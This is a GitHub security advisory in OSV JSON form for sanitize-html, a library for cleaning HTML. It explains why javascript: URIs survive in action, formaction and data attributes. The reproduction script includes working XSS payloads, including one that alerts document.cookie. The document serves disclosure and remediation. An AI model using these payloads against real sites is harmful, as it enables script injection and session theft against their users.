{"id":"GHSA-vccv-cmxp-4j9h","summary":"sanitize-html has incomplete URI scheme validation in that allows javascript: URIs through action, formaction, data, poster, and background attributes","details":"## Summary\n\nsanitize-html uses `allowedSchemesAppliedToAttributes` (default: `['href', 'src', 'cite']`) to gate the `naughtyHref()` function that blocks dangerous URI schemes like `javascript:` and `vbscript:`. The HTML specification defines 10+ attributes that accept URIs (`action`, `formaction`, `data`, `poster`, `background`, `ping`, `xlink:href`, `dynsrc`, `lowsrc`), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, `javascript:` URIs pass through completely unmodified, enabling XSS.\n\nThe library has zero awareness of these URI-bearing attributes — none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding `allowedSchemesAppliedToAttributes` when allowing form or media attributes.\n\n## Severity\n\nExploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., `form`) AND a non-default attribute (e.g., `action`). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.\n\n## Affected Versions\n\nAll versions of sanitize-html from v1.18.0 (which introduced `allowedSchemesAppliedToAttributes`) through at least v2.17.2. The default list has been `['href', 'src', 'cite']` since introduction and has never been expanded.\n\n## Root Cause\n\n**File**: `index.js:329` (sanitize-html 2.10.0, confirmed same in 2.17.x)\n\n```javascript\n// Line 329 — The gate that controls scheme validation\nif (options.allowedSchemesAppliedToAttributes.indexOf(a) \u003e= 0) {\n    if (naughtyHref(name, value)) {\n        delete frame.attribs[a];\n        return;\n    }\n}\n```\n\n**Default list at line 829**:\n```javascript\nallowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],\n```\n\nThe `naughtyHref()` function (lines 627-667) correctly blocks `javascript:`, `vbscript:`, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the `indexOf` gate. There is no ungated path.\n\nWhen attribute name is `action`, `formaction`, `data`, `poster`, `background`, etc.:\n- `indexOf('action')` returns `-1`\n- The `if` block is skipped entirely\n- `naughtyHref()` is never called\n- `javascript:alert(1)` passes through unmodified\n\nThe `escapeHtml()` function at line 464 provides no defense — it only encodes `& \u003c \u003e \"` characters, which are not present in `javascript:alert(1)`.\n\n**Data Flow**:\n```\nAttacker input: \u003cform action=\"javascript:alert(document.cookie)\"\u003e\n1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'}\n2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS\n3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref()\n4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged\n5. OUTPUT: \u003cform action=\"javascript:alert(document.cookie)\"\u003e\n```\n\n## Steps to Reproduce\n\n```javascript\nconst sanitize = require('sanitize-html');\n\n// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====\nconst v1 = sanitize(\n    '\u003cform action=\"javascript:alert(document.cookie)\"\u003e\u003cbutton\u003eSubmit\u003c/button\u003e\u003c/form\u003e',\n    {\n        allowedTags: ['form', 'button'],\n        allowedAttributes: { form: ['action'] }\n    }\n);\nconsole.log('V1 (action):', v1);\n// OUTPUT: \u003cform action=\"javascript:alert(document.cookie)\"\u003e\u003cbutton\u003eSubmit\u003c/button\u003e\u003c/form\u003e\n// XSS triggers when user submits the form\n\n// ===== VECTOR 2: button formaction (100% reliable) =====\nconst v2 = sanitize(\n    '\u003cbutton formaction=\"javascript:alert(1)\"\u003eClick\u003c/button\u003e',\n    {\n        allowedTags: ['button'],\n        allowedAttributes: { button: ['formaction'] }\n    }\n);\nconsole.log('V2 (formaction):', v2);\n// OUTPUT: \u003cbutton formaction=\"javascript:alert(1)\"\u003eClick\u003c/button\u003e\n\n// ===== VECTOR 3: object data =====\nconst v3 = sanitize(\n    '\u003cobject data=\"javascript:alert(1)\"\u003e\u003c/object\u003e',\n    {\n        allowedTags: ['object'],\n        allowedAttributes: { object: ['data'] }\n    }\n);\nconsole.log('V3 (data):', v3);\n// OUTPUT: \u003cobject data=\"javascript:alert(1)\"\u003e\u003c/object\u003e\n\n// ===== CONTROL: href IS scheme-checked (expected behavior) =====\nconst ctrl = sanitize(\n    '\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e',\n    {\n        allowedTags: ['a'],\n        allowedAttributes: { a: ['href'] }\n    }\n);\nconsole.log('Control (href):', ctrl);\n// OUTPUT: \u003ca\u003eclick\u003c/a\u003e   ← href correctly stripped by naughtyHref()\n```\n\n**Observed behavior**: `javascript:` preserved on `action`/`formaction`/`data` but correctly stripped on `href`.\n\n**Expected behavior**: `javascript:` should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.\n\n## Impact\n\nAn attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:\n\n- `\u003cform action=\"javascript:...\"\u003e` — XSS on form submission (all modern browsers)\n- `\u003cbutton formaction=\"javascript:...\"\u003e` — per-button XSS override (all modern browsers)\n- `\u003cobject data=\"javascript:...\"\u003e` — object load XSS (Chrome, Firefox)\n- `\u003cvideo poster=\"javascript:...\"\u003e` — limited browser support but spec-valid\n\n**Common vulnerable configurations**:\n- CMS platforms allowing form elements for user-generated content\n- Form builder applications\n- Rich text editors with extended tag allowlists\n- Email template editors allowing media/embed tags\n\n**Mitigating factors**:\n- Default configuration is NOT vulnerable\n- Requires double opt-in: non-default tag + non-default attribute\n- CSP `form-action` directive mitigates form-based vectors\n- Developers CAN manually add attributes to `allowedSchemesAppliedToAttributes`\n\n## Remediation\n\n**Option 1 (Recommended)**: Expand the default `allowedSchemesAppliedToAttributes` list:\n\n```javascript\n// index.js line 829, change from:\nallowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],\n\n// to:\nallowedSchemesAppliedToAttributes: [\n    'href', 'src', 'cite', 'action', 'formaction',\n    'data', 'poster', 'background', 'ping',\n    'xlink:href', 'dynsrc', 'lowsrc'\n],\n```\n\n**Option 2**: Apply `naughtyHref()` to ALL attributes by default (invert the gate logic).\n\n**Option 3**: Add a runtime warning when developers allow URI-bearing attributes not in `allowedSchemesAppliedToAttributes` (analogous to `vulnerableTags` warning for `script`/`style` at lines 124-129).\n\n## Reporter\n\nKevin Lee (Changseon Lee)\nOPCIA Corp. / PeanutAI Inc.\nSeoul, South Korea\nGitHub: crattack","aliases":["CVE-2026-53606"],"modified":"2026-07-31T22:00:11.903094600Z","published":"2026-07-31T21:43:51Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-07-31T21:43:51Z","nvd_published_at":"2026-06-12T21:16:24Z"},"references":[{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vccv-cmxp-4j9h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53606"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/pull/5464"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.17.5"}],"affected":[{"package":{"name":"sanitize-html","ecosystem":"npm","purl":"pkg:npm/sanitize-html"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"2.17.5"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.17.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-vccv-cmxp-4j9h/GHSA-vccv-cmxp-4j9h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}